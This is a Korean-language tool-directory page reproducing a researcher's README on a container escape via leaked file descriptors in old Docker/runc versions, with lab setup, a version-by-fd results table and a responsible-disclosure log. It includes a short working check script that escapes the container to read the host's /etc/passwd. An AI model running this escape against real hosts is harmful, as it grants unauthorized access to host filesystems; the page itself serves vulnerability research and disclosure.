Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-21626-old-docker-versions — 레거시 Docker/runc 버전의 컨테이너 탈출 취약점을 분석하고 악용하여 fd 누출을 통해 호스트 파일 시스템에 접근하는 방법을 시연하며, 설정 및 테스트 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
Container SecurityVulnerability AnalysisExploitationLearning & EducationContainer EscapeLabs & Practice
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

레거시 Docker/runc 버전의 컨테이너 탈출 취약점을 분석하고 악용하여 fd 누출을 통해 호스트 파일 시스템에 접근하는 방법을 시연하며, 설정 및 테스트 스크립트를 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
71년 전아직 검토되지 않음

오래된 runc 구성요소의 컨테이너 탈출 취약점 (CVE-2024-21626)

CVE-2024-21626에 대한 분석 중에 다른 오래된 Docker 구성 요소들이 fd 누출에 취약하다는 것을 발견했습니다 (보안 권고 GHSA-xr7r-f8xq-vfvv에는 언급되지 않은 내용입니다). 자세한 설명은 제 전체 글 여기에서 읽을 수 있습니다.

1. 환경 설정 🔨

A. Ubuntu 18.04.6 LTS (Bionic Beaver) 버전 다운로드 및 설치

설치 중에 업데이트 시스템 다운로드 상자를 체크하지 마세요.

B. 취약한 Docker 버전 및 관련 구성 요소 설치

  • https://download.docker.com/linux/static/stable/x86_64/ 로 이동하여 테스트할 이전 버전 docker-X.Y.Z-ce.tgz 를 다운로드하세요.

  • 압축을 풀고 내용을 /usr/bin 경로에 복사한 후 Docker 데몬을 실행하세요.

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. 설치된 버전 확인

root@kitploit:~
sudo docker version
containerd --version
uname -r

이전 버전에는 runc 대신 docker-runc가 있습니다. 따라서 다음을 확인하세요:

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

doker-runc/runc 버전 확인

root@kitploit:~
runc --version
docker-runc -v

2. 대상이 취약한지 확인하고 올바른 fd 찾기 🧐

checkVulnerability.sh를 실행하고 파일이 터미널에 출력되는지 확인하세요.

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

이 예시에서는 docker-17.03.1-ce 버전을 사용했습니다. check vulnerability & find fd

3. 익스플로잇 시도 🔫

이 예시에서는 docker-17.03.1-ce 버전을 사용했습니다.

exploit

4. 테스트 결과 🧪

다음은 Docker 버전과 사용된 관련 runc 버전별로 정리한 분석 결과입니다.

docker-runc

runc

Docker 버전runc 버전누출된 fd 번호
docker-18.09.0.tgz1.0.0-rc5+dev❌

세 가지 취약한 버전을 보여주는 스크린샷입니다.

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

CVE-2024-21626와 마찬가지로 다양한 유형의 공격이 여전히 가능합니다.

5. 결론 및 시사점 🔚

이 취약점은 CVE-2024-21626과 상당히 다릅니다. 그 이유는 다음과 같습니다:

  1. openat2 시스템 콜이 없는 이전 Linux 버전에서 트리거될 수 있습니다.
  2. 누출된 파일 디스크립터는 호스트의 /sys/fs/cgroup 디렉터리가 아닌, 실행 중인 컨테이너의 상태를 포함하는 /run/runc/<container>/ 경로에 있습니다.

제가 발견한 것은 이전 버전들도 동일한 공격 기법에 취약하다는 점입니다. 취약점 자체는 다르지만 결과는 동일합니다: 호스트 파일시스템에 대한 접근 권한 획득. 핵심 시사점은 보안 권고에만 의존하지 말고 모든 것을 철저히 테스트하라는 것입니다. CVE와 그 작동 방식을 완전히 이해하고, 안전한 환경에서 실험하며, 엣지 케이스를 탐색하세요.

6. 책임 있는 공개 🕺🏻

[email protected], [email protected]에 연락하고 CVE를 열려고 시도했습니다. 다음과 같은 답변을 받았습니다.

도구 다운로드
Docker 버전docker-runc 버전누출된 fd 번호
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
요청답변
[email protected] (19/03/24)나열하신 버전은 모두 소프트웨어의 EOL(수명 종료) 버전(약 7년 전)이며 더 이상 Docker에서 패치하거나 유지 관리하지 않습니다. 기존 GHSA-xr7r-f8xq-vfvv 권고("영향을 받는 버전: >= 1.0.0-rc93, <= 1.1.11")에 나열된 버전이나 문구에 대해 우려가 있으시다면, 신고할 올바른 채널은 OCI 보안 사서함입니다: https://github.com/opencontainers/.github/blob/main/SECURITY.md 연락해 주셔서 감사합니다. 더 도움이 될 일이 있으면 알려주세요.
[email protected] (20/03/24)응답 없음
CVE-MITRE (15/05/2024)우리는 일반적으로 릴리스 후보에만 존재하는 문제에는 CVE ID를 부여하지 않습니다. https://www.cve.org/CVERecord?id=CVE-2024-21626 는 1.1.11 릴리스와 같은 runc의 릴리스 버전에 영향을 미쳤습니다.